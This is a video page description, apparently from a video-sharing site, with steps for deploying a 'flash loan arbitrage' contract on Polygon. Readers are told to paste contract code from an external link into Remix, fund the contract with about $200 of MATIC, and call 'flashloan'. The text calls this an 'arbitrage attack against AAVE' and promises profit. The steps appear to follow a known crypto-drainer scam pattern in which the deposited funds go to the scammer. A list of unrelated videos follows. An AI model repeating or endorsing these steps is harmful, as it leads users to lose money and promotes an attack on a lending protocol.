Premium Only Content

Matic - Polygon Chain: How to setup a Multi DEX arbitrage on Polygon with Metamask and Solidity
Smart Contract Code Link - https://raw.githubusercontent.com/MC-Finance/contracts/main/MaticPolygonArbitrageContract.sol
*****NOTE: "Web 3 Injected" is now "Injected Provider" in Remix.
Remix Link - http://remix.ethereum.org/
NOTE: Make sure Metamask in connected to MATIC Polygon chain and MATIC is withdrawn to this chain. Not to matic address on ERC20 Ethereum Chain.
Connecting MetaMask to Matic Polygon Mainnet(Matic) - https://medium.com/stakingbits/setting-up-metamask-for-polygon-matic-network-838058f6d844
Flash Loan Explanation - https://academy.binance.com/en/articles/what-are-flash-loans-in-defi
USD to MATIC - https://coincodex.com/convert/matic-network/usd/
TO EARN MORE THAN THE AMOUNT IN THE VIDEO YOU CAN INCREASE GAS FEE
In this video, you can see how I used Flashloans to Arbitrage in Matic Mainnet by deploying Contract/Token to mask our arbitrage attack against AAVE.
This worked for me. But TRY IT AT YOUR OWN RISK.
STEPS:
Before starting, install and setup MetaMask in Chrome Browser.
1. Open and setup Remix in browser (https://remix.ethereum.org)
2. Copy the Contract code (https://raw.githubusercontent.com/MC-Finance/contracts/main/MaticPolygonArbitrageContract.sol)
3. Create new file in Remix and paste Contract code and wait for everything to load, Go to Solidity Compiler and Select compiler to 0.5.0+commit version and hit Compile.
4. In Deploy & Run Transactions, Select Injected Web3 in Environment dropdown menu to connect your MetaMask. On Deploy, Enter your token details and deploy the contract
5. Get the Contract address from Remix
6. Send 200$ish of MATIC to the contract for gas fee for all swaps (There are going to be many swaps to use all funds from out liquidity pools.
7. Call 'flashloan' function in Remix.
-
8:16
MattMorseTV
16 hours ago $8.42 earnedTrump’s name just got CLEARED.
70.8K73 -
2:01:55
MG Show
20 hours agoPresident Trump Multilateral Meeting with European Leaders; Trump Outlines Putin Zelenskyy Meeting
25K19 -
LIVE
DoldrumDan
2 hours agoCHALLENGE RUNNER BOUT DONE WITH ELDEN RING NIGHTREIGN STORY MODE HUGE GAMING
87 watching -
10:59
itsSeanDaniel
1 day agoEuropean Leaders INSTANTLY REGRET Disrespecting Trump
19.6K16 -
16:43
GritsGG
16 hours agoThey Buffed This AR & It Slaps! Warzone Loadout!
18.1K1 -
2:05:30
Side Scrollers Podcast
20 hours agoEveryone Hates MrBeast + FBI Spends $140k on Pokemon + All Todays News | Side Scrollers Live
114K12 -
11:06
The Pascal Show
15 hours ago $1.47 earned'THEY'RE GETTING DEATH THREATS!' Jake Haro's Lawyer Breaks Silence On Emmanuel Haro's Disappearance!
18.6K2 -
LIVE
Lofi Girl
2 years agoSynthwave Radio 🌌 - beats to chill/game to
329 watching -
2:19:32
Badlands Media
1 day agoDEFCON ZERO Ep. 005: False Flags, Cyber Fronts & Global Power Plays
159K70 -
2:35:23
FreshandFit
10 hours agoWhy Black Men Don't Date Black Women Debate
46.5K48